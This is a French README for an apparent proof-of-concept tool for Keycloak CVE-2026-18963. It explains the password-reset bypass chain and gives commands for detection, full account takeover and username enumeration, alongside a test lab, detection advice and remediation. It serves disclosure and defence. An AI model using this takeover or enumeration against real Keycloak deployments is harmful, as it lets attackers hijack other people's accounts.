
Exploit pour Keycloak CVE-2026-18963 permettant la prise de contrôle de compte sans authentification via le contournement de reset-credentials. Inclut une détection sûre, une preuve non destructive, une prise de contrôle complète, l'énumération de noms d'utilisateur et un laboratoire avec des versions vulnérables et corrigées.
En connaissant seulement un nom d'utilisateur ou une adresse e-mail, un attaquant non authentifié définit un mot de passe arbitraire sur n'importe quel compte Keycloak. L'e-mail de réinitialisation de mot de passe est envoyé à la vraie victime et n'est jamais nécessaire — l'attaquant ne lit jamais une boîte mail, ne clique jamais sur un lien et ne détient aucun identifiant ni session préalables.
Affecté : Keycloak 26.0.0 – 26.7.1. Corrigé dans 26.7.2.
Une seule commande. Aucun nom d'utilisateur valide requis, et aucun effet secondaire — elle n'envoie aucun e-mail, n'écrit sur aucun compte et s'arrête avant l'étape exploitable.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
| Sortie | Verdict | Signification |
|:---:|---|---|
| `0` | 🔴 **VULNÉRABLE** | la passerelle e-mail en attente a été servie — le bug lui-même |
| `2` | 🟢 **CORRIGÉ** | le flux a bifurqué vers la connexion et y est resté (correctif #51844 présent) |
| `2` | 🟡 **ATTÉNUÉ** | reset-credentials inaccessible — *Mot de passe oublié* est désactivé. **Pas un correctif.** |
| `3` | ⚪ **NON CONCLUSIF** | réponse non reconnue — **ne le prenez pas pour un succès** |
Exécutez-le par realm — *Mot de passe oublié* est un paramètre par realm, et `master` compte.
Détails, et pourquoi la vérification n'a besoin d'aucun utilisateur et ne touche à rien, dans
[§4a](#4a-safe-detection---safe-check--start-here).
**Vous savez déjà que vous êtes exposé ?** Passez à [correction](#8-remediation) et à
[détection / recherche de menaces](#9-detection).
### Essayez sans cible
Le dépôt fournit un laboratoire qui démarre une version vulnérable **26.7.1** et une version corrigée **26.7.2**
côte à côte contre un realm identique, ainsi qu'une boîte aux lettres pour observer l'e-mail de réinitialisation
arriver et rester non lu pendant que le compte est détourné :```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Tests autorisés uniquement
Ce dépôt existe pour les défenseurs, les intervenants en gestion d'incidents et les testeurs d'intrusion autorisés. Exécutez-le sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite de tester. Tout ce qui se trouve ici est fourni avec un laboratoire vulnérable autonome (
lab/), donc rien d'externe n'a besoin d'être touché pour comprendre le fonctionnement du bug. L'utiliser contre une infrastructure tierce sans autorisation est illégal dans la plupart des juridictions et n'est pas soutenu par ce projet.
Références: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · correction keycloak#51844
Deux défauts enchaînés. Aucun des deux n'est exploitable seul.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — toute requête POST contenant la clé de formulaire tryAnotherWay:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
La note est un **booléen brut sans aucune trace de l'exécution qui l'a définie**. Elle n'est
effacée que dans la branche qui traite un paramètre `authenticationExecution`
soumis. Omettez ce paramètre — comme le fait ce PoC tout au long — et le flag reste
défini pour la durée de la session d'authentification.
`processFlow()` — tant que le flag est truthy, l'évaluation normale du flux est ignorée :```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
Cela rend un formulaire à soumettre destiné à n'importe quelle exécution actuellement en attente, au lieu de maintenir la session bloquée sur « en attente de l'e-mail ».
Le ciment est processResult() case FORK: — lorsque Envoyer l'e-mail de réinitialisation est déclenché, cela définit
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> et redirige
le navigateur vers la page de connexion. L'exécution en attente est précisément la passerelle e-mail.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
Inconditionnel. Rien ne vérifie que le flux a été repris par un jeton d'action valide,
donc *atteindre* `action()` est considéré comme équivalent à prouver le contrôle de la boîte mail.
### La chaîne```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Six requêtes HTTP, aucune authentification, aucun paramètre authenticationExecution à aucun
moment.
model.getId(), et processFlow() ne l'honore que lorsqu'elle
est égale à CURRENT_AUTHENTICATION_EXECUTION, sinon elle la supprime. Dans l'attaque, les
deux diffèrent (id de choose-user vs id d'e-mail-gate) — exactement ce que le correctif détecte, et
exactement le signal sur lequel s'appuie --safe-check.ResetCredentialEmail.action() exige désormais
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
et échoue sinon avec INVALID_USER.6a9e60bb, qui a ajouté l'écran de sélection d'authentificateur « Essayer une autre méthode » au
flux de réinitialisation. Tout ce qui est plus ancien ne possède tout simplement pas ce chemin de code. Cela inclut les anciennes
distributions basées sur WildFly et RH-SSO 7.x, qui ne sont pas affectées par ce bug
tout en restant en fin de vie et vulnérables à bien d'autres. Rester sur une
version legacy n'est pas une remédiation.26.7.2 est la seule version corrigée
publiée pour le train communautaire. Si un déploiement est sur 26.0 – 26.6, il n'y a
aucune version de correctif sur cette ligne — le correctif nécessite une montée de version mineure, pas
une mise à jour ponctuelle. Les tags 26.4.15 / 26.6.6 sont des backports du fournisseur et ne sont pas
interchangeables avec les images communautaires.Conditions préalables : le realm a Mot de passe oublié activé et son
flux de réinitialisation des identifiants lié utilise l'authentificateur intégré reset-credential-email.
Le dépôt fournit à la fois un Keycloak vulnérable et un Keycloak corrigé, important le même realm, plus Mailpit pour capturer le courriel de réinitialisation — afin que vous puissiez le voir arriver et rester non lu pendant que le compte est compromis.```bash cd lab docker compose up -d
| Service | URL | Version |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **vulnérable** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **contrôle corrigé** |
| `kc-mailpit` | http://localhost:8025 | boîte mail de la victime |
Realm `poc`, client public `poc-app`, utilisateur `victim` / `OriginalPassw0rd!`, administrateur Keycloak `admin` / `admin`.
Épinglez différentes versions avec `KC_VULN_VERSION` / `KC_PATCHED_VERSION` :```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
Entre les exécutions, lab/reset-victim.sh restaure le mot de passe de la victime
(KC=http://localhost:8100 lab/reset-victim.sh cible l'instance corrigée).
lab/legit_reset.py effectue une réinitialisation authentique en extrayant le lien de jeton d'action
de Mailpit et en cliquant dessus. C'est l'échantillon témoin pour le travail de détection de la
§9 — exécutez-le ainsi que l'exploit contre le même realm, puis faites un diff des traces.
Démontage : docker compose down -v.
Python 3.9+, bibliothèque standard uniquement — aucune dépendance, se dépose sur n'importe quelle machine de rebond.``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` peut être n'importe quel client public activé avec le flux standard. Le client
`account` intégré existe dans chaque realm et constitue le choix fiable, mais il restreint
les URI de redirection, donc `--redirect-uri` **doit** alors être
`<base>/realms/<realm>/account/` — la valeur par défaut est rejetée et l'étape 1 échoue.
### 4a. Détection sûre (`--safe-check`) — commencez ici
Ne nécessite **aucun nom d'utilisateur valide** et **n'a aucun effet de bord**. C'est la sonde à utiliser
lorsque vous ne devez pas perturber la cible.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
Pourquoi il ne nécessite aucun utilisateur et n'envoie aucun e-mail. ResetCredentialEmail.authenticate()
bifurque également pour un utilisateur inconnu :```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` `case FORK:` positionne donc `CURRENT_AUTHENTICATION_EXECUTION` sur l'execution e-mail **même si personne n'a été trouvé** — et aucun e-mail n'est envoyé, car il n'y a personne à qui envoyer. La sonde s'arrête au discriminateur et ne fait jamais de POST sur la porte, donc `action()` ne s'exécute jamais : pas de NPE sur la cible, pas d'écriture de `emailVerified`, pas d'e-mail, aucun compte touché.
**Il s'appuie uniquement sur le signal positif.** VULNÉRABLE ⟺ l'étape 5 renvoie un formulaire toujours dans `login-actions/reset-credentials` dont l'`execution` diffère de l'execution de choix d'utilisateur. C'est *ça* le bug : la note obsolète `AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` servant la porte e-mail en attente. Les deux moitiés comptent — le chemin prouve que nous sommes toujours dans le flux de réinitialisation, l'identifiant `execution` différent prouve qu'il s'agit de la porte e-mail et non d'un re-rendu.
Tout le reste n'est **pas** silencieusement considéré comme corrigé. CORRIGÉ nécessite sa propre preuve (bifurqué vers `login-actions/authenticate` *et* présence d'un champ de mot de passe) ; tout le reste est NON CONCLUSIF et nécessite un humain. Une conception antérieure traitait « pas le formulaire de la porte » comme corrigé, ce qui transforme silencieusement chaque thème personnalisé, page d'erreur, blocage WAF et page intermédiaire en un faux certificat de bonne santé.
### 4b. Preuve non destructive (`--check`)
Pilote toute la chaîne mais s'arrête au formulaire Update Password. Atteindre ce formulaire sans jeton d'action est concluant.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
Deux effets secondaires sont inévitables, car ils se produisent en amont du formulaire de mot de passe — indiquez-les dans le périmètre de l'engagement :
action() définit emailVerified = true sur le compte.Aucun identifiant n'est modifié. Privilégiez un compte de test dédié.
Uniquement en laboratoire ou dans le cadre d'une démonstration explicitement autorisée.```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
Sortie `0` : vulnérable · `2` : non exploitable · `1` : mot de passe changé mais le grant
de confirmation a échoué (pointez `--verify-client-id` vers un client avec Direct Access Grants).
Terminer le flux renvoie également un **code d'autorisation OIDC pour la victime**, donc
la prise de contrôle est immédiate — aucune seconde connexion avec le nouveau mot de passe n'est requise.
### 4d. Énumération de noms d'utilisateur (`--enum`)
La même faille est un oracle de noms d'utilisateur, et plus puissant que ce que Keycloak
autorise normalement. `ResetCredentialEmail.authenticate()` renvoie délibérément un
*« Vous devriez recevoir un e-mail sous peu »* identique pour les utilisateurs réels et inconnus, donc le
formulaire de réinitialisation lui-même ne peut pas être utilisé pour énumérer — cette défense tient toujours à l'étape 4. Elle
cède à l'**étape 6**, où `action()` déréférence l'utilisateur sans condition
(`context.getUser().setEmailVerified(true)`).
| Identifiant | Étape 6 | Verdict |
|---|---|---|
| utilisateur réel | `200`, atteint le formulaire de mise à jour du mot de passe | VALIDE |
| utilisateur inconnu | `400` (page d'erreur NPE) | INVALIDE |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
Ne change jamais un mot de passe. Sortie 0 si un identifiant est résolu, 2 sinon.
Coût par sonde — à lire avant d'exécuter. Atteindre l'oracle nécessite de terminer l'étape 4, donc chaque sonde sur un compte réel envoie à cette personne un véritable e-mail de réinitialisation de mot de passe et définit emailVerified = true sur son enregistrement. Ce n'est pas une vérification discrète : elle est visible par le titulaire du compte et elle modifie ses données. Une wordlist de 5 000 noms correspond à 5 000 e-mails envoyés à de vraies personnes et à 5 000 comptes modifiés.
Utilisez-la pour démontrer que l'oracle existe sur une poignée d'identifiants pour le rapport — pas pour récolter un annuaire. Les garde-fous sont délibérément prudents :
--enum-max N refuse les listes plus longues que N (par défaut 25)--enum-delay SEC fait une pause entre les sondes (par défaut 2.0)Augmenter l'un ou l'autre doit être une décision consciente, consignée dans les notes d'intervention.
Angle de rapport : cela contourne un contrôle anti-énumération que Keycloak a implémenté intentionnellement. Cela mérite d'être documenté comme constatation distincte, en plus de la prise de contrôle, et élimine « nos noms d'utilisateur ne sont pas devinables » comme facteur d'atténuation.
Tout déploiement sérieux embarque un thème de connexion personnalisé, et les thèmes personnalisés renomment ou suppriment les identifiants d'élément standard (kc-form-login, kc-reset-password-form, kc-select-credential-form, kc-passwd-update-form). Un outil qui s'appuie sur ces identifiants produit un faux négatif sur exactement les déploiements les plus importants — c'était le cas de celui-ci, avant sa réécriture. Les thèmes rencontrés en conditions réelles utilisent des identifiants comme id="login-form" et fournissent une ancre mot de passe oublié avec un href vide.
Ce PoC ne repose donc sur rien qui soit contrôlé par le thème :
action= des formulaires de la page — login-actions/reset-credentials, login-actions/authenticate, login-actions/required-action — et du paramètre de requête execution qu'ils contiennent. Ces chemins sont produits par le LoginActionsService de Keycloak lui-même, pas par le thème.grep le code source : aucun identifiant kc-* n'y figure./realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… et le sonde directement, en prenant tab_id depuis le formulaire que la page de connexion expose.Si une cible renvoie encore INCONCLUSIVE, exécutez --verbose --dump out.html et lisez la réponse — l'outil refuse délibérément de deviner.
Un client qui impose PKCE rejette l'étape 1 avec Missing parameter: code_challenge_method. Ceci est signalé comme INCONCLUSIVE (sortie 3), jamais comme un succès. Tant que le support de PKCE n'arrive pas, un realm dont le seul client public utilisable impose PKCE ne peut pas être vérifié avec cet outil — essayez le client intégré account, qui normalement ne l'impose pas.
Chaque exécution ci-dessous est réalisée contre le laboratoire de ce dépôt, avec le code tel que publié.
Deux constatations méritent d'être signalées au-delà du texte de l'avis :
ResetCredentialEmail.authenticate() emprunte le chemin forkWithSuccessMessage lorsque user.getEmail() est null, ce qui laisse quand même l'exécution en suspens via case FORK:. Il en va de même pour un échec d'envoi SMTP — un serveur de messagerie cassé ou absent n'est pas une atténuation. Cela concerne directement les realms fédérés AD/LDAP, où les comptes ne portent souvent aucun attribut mail.La MFA n'est pas une atténuation. Le flux reset-credentials par défaut ne contient aucune étape OTP, et une fois passé, l'attaquant peut supprimer les facteurs enregistrés de la victime.
Correctif : mise à niveau. 26.7.2 pour les builds communautaires, ou la balise de rétroportage du fournisseur correspondant à votre abonnement. Tout ce qui suit est une mesure provisoire.
Atténuations intérimaires, par ordre d'efficacité :
master compris.Les realms dont le flux de réinitialisation lié est entièrement personnalisé et n'invoque jamais reset-credential-email ne sont pas exploitables par cette voie.
Keycloak n'émet aucun événement "action token skipped" ; la détection est donc heuristique. Exécutez lab/legit_reset.py en parallèle de l'exploit pour générer les deux traces et les comparer.
GET /login-actions/action-token?... (la victime qui clique sur le mail) avant le changement de mot de passe. Le contournement ne comporte aucune GET de ce type. Il montre à la place une POST vers login-actions/reset-credentials dont le corps contient tryAnotherWay, suivie d'une seconde POST vers le même chemin avec un corps vide, puis le formulaire de mot de passe. Une POST tryAnotherWay dans le flux de réinitialisation n'est pas produite par l'UI standard en usage normal.SEND_RESET_PASSWORD suivi de UPDATE_PASSWORD partageant le même code_id en quelques secondes — moins d'une seconde dans le laboratoire. Un utilisateur avec le mail déjà ouvert peut lui aussi agir vite ; recoupez donc avec les journaux du proxy.emailVerified est passé à true sans événement VERIFY_EMAIL correspondant sont un indicateur secondaire utile, que l'attaquant ne peut pas éviter de laisser.L'absence d'événements ne prouve rien si la journalisation ou la rétention des événements était désactivée. Vérifiez la fenêtre de rétention avant de conclure qu'un déploiement n'a pas été touché.
Snizi — github.com/Snizi — [email protected]
Publié sous la licence MIT. Les issues et les PR sont les bienvenus — en particulier le support de PKCE et d'autres bizarreries de thèmes rencontrées en conditions réelles.
| Ligne | Vulnérable | Correctif communautaire |
|---|
| Legacy (Keycloak basé sur WildFly, ≤ 17) | non affecté | — |
| Quarkus 17 – 25.x | non affecté | — |
| 26.0 | 26.0.0 – 26.0.17 | aucun |
| 26.1 | 26.1.0 – 26.1.5 | aucun |
| 26.2 | 26.2.0 – 26.2.16 | aucun |
| 26.3 | 26.3.0 – 26.3.5 | aucun |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (tag de backport du fournisseur) |
| 26.5 | 26.5.0 – 26.5.7 | aucun |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (tag de backport du fournisseur) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| Exit | Verdict | Signification |
|---|
0 | VULNERABLE | la passerelle e-mail en attente a été servie — le bug lui-même |
2 | PATCHED | le flux a bifurqué vers la connexion et y est resté (correctif #51844 présent) |
2 | MITIGATED | réinitialisation des identifiants inaccessible — Mot de passe oublié est désactivé. Pas un correctif. |
3 | INCONCLUSIVE | réponse non reconnue — ne pas considérer cela comme une réussite |
| Test | Cible | Résultat |
|---|
--safe-check | 26.7.1 | VULNERABLE, sortie 0 — passerelle e-mail servie (execution ≠ choose-user) |
--safe-check | 26.7.2 | PATCHED, sortie 2 — a bifurqué vers la connexion et y est resté |
--safe-check, Mot de passe oublié désactivé | 26.7.2 | MITIGATED, sortie 2 — HTTP 400, flux inaccessible |
| Prise de contrôle complète | 26.7.1 | sortie 0 — mot de passe défini, code OIDC émis, l'octroi de mot de passe confirme |
| Prise de contrôle complète | 26.7.2 | sortie 2 — bloqué à l'étape 5, compte intact |
--check | 26.7.1 | a atteint UPDATE_PASSWORD ; mot de passe vérifié inchangé par la suite |
--enum | 26.7.1 | victim et [email protected] VALID, does-not-exist INVALID |
| État des identifiants après la prise de contrôle | 26.7.1 | nouveau mot de passe → 200, ancien mot de passe → 400 |
| État des identifiants après exécution bloquée | 26.7.2 | ancien mot de passe → 200, mot de passe de l'attaquant → 400 |
| Boîte mail de la victime | Mailpit | e-mails de réinitialisation livrés et non lus ; le lien du jeton d'action n'est jamais sollicité |